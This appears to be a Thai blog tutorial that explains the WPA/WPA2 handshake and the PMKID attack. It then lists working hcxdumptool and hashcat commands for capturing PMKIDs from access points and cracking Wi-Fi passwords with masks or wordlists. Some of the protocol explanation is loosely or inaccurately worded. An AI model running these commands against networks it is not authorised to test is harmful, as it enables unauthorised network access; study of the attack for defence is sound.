เราทราบกันดีว่า WPA3 กำลังจะมา แล้วยิ่งการเปิดเผยใหม่ของช่องโหว่ในการโจมตี WPA/WPA2 ออกมาใหม่ยิ่งบ่งบอกถึงเวลาที่เราน่าจะต้องเปลี่ยนไปใช้ WPA3 ยิ่งใกล้เข้ามาทุกที
ก่อนจะไปไกลเรามาทำความเข้าใจกับ 4-way handshake ก่อน
- Access Point (AP) ส่ง nonce ไปยัง Client (ANonce). Client creates Pairwise Transient Key (PTK) (สร้างจาก Pairwise Master Key :PMK).
- Client nonce (SNonce) กลับไปยัง AP และ Message Integrity Code (MIC).
- AP creates PTK แล้วส่งเข้า pseudo random function ออกมาเป็น Group Temporal Key(GTK) จากนั้นส่งกลับไปยัง Client, ไปพร้อมกับ sequence number และ MIC. (GTK ใช้สำหรับ decrypt multicast และ broadcast traffic)
- The client sends a confirmation กลับไปยัง AP.

เมื่อ 2-3 สัปดาห์ก่อน มีการเปิดเผยถึงช่องโหว่ใหม่ที่พบใน WPA/WPA2 โดยช่องโหว่ดังกล่าวถูกพบโดย Hashcat developer — Jens “Atom” Steube โดย Atom พบว่าการโจมตีใหม่นี้ทำได้ง่ายๆโดยการส่ง EAPOL frame แค่ 1 packet ไปยัง access pointเท่านั้น
โดยปกติแล้ว WPA2 จะเริ่มทำการ pairing ระหว่าง client และ access point จากนั้นจึงเริ่มระบุ client โดยไม่มีการใช้ password แต่อย่างใด โดยในส่วนการเริ่มการยืนยันตัวตน client จะใช้ pre-shared key (PSK), หรือไม่ก็ EAP exchange through 802.1X (EAPOL).
การแลกเปลี่ยน EAPOL จำเป็นในการยืนยัน server หลังจาก phase ดังกล่าว shared secret key จึงจะถูกสร้างขึ้น และถูกเรียกในชื่อว่า Pairwise Master Key (PMK). แล้วใช้ PBKDF2-SHA1 ในการทำ hashing ซึ่งทำให้ยากต่อการ crack hash ดังกล่าว
จากทั้งหมดจะกลายเป็นว่า PSK เป็นตัวกำหนด PMK แต่ส่วน EAPOL จะเป็นการแปลง PMK จาก EAP parameters. ซึ่งโดยปกติแล้ว EAPOL จะ crack ได้ยากกว่า PSK.
ทีนี้ย้อนกลับมาที่การโจมตีของ Atom โดย Atom พบว่าหากเค้าส่ง EAPOL Packet ที่ set RSN IE (Robust Security Network Information Element) กลับไป โดยภายในนั้นจะมีการร้องขอ PMKID ได้ โดย PMKID สร้างจาก
1 |
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) |
ดังนั้นมันมีความเป็นไปได้ที่เราจะย้อนกลับจาก PMK ได้
ขั้นตอนการโจมตีคือ
1. request PMKID มาจาก AP
1 |
./hcxdumptool -o test.pcapng -i <interface> --enable_status |
ถ้า AP support ก็จะ return กลับมาด้วย PMKID พร้อมกับ Message “FOUND PMKID” (ทาง Atom บอกว่ามันจะใช้เวลาระดับหนึ่ง คือประมาณ 10 นาที)
2. ทำการ convert กลับมาเป็น hash format แล้วทำการ crack ด้วย hashcat
1 |
./hcxpcaptool -z test.16800 test.pcapng |
จะได้ผลลัพธ์ออกมาเป็นประมาณนี้ (test.16800)
1 |
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a |
ซึ่งเป็น hex ที่ประกอบไปด้วย
- PMKID
- MAC AP
- MAC Station
- ESSID
3. ทำการ crack ต่อด้วย
1 |
./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!' |
(?l?l?l?l?l?lt! เป็น pattern ที่มีความเป็นไปได้)
หรือ
1 |
hashcat64.exe -m 16800 -a 0 --kernel-accel=1 -w 4 --force test.16800 rockyou.txt |
ก็จะได้ผลลัพธ์ของการ crack
Source::
- https://medium.com/@billbuchanan_27654/the-beginning-of-the-end-of-wpa-2-cracking-wpa-2-just-got-a-whole-lot-easier-55d7775a7a5a
- Hashcat
- Nomotion.net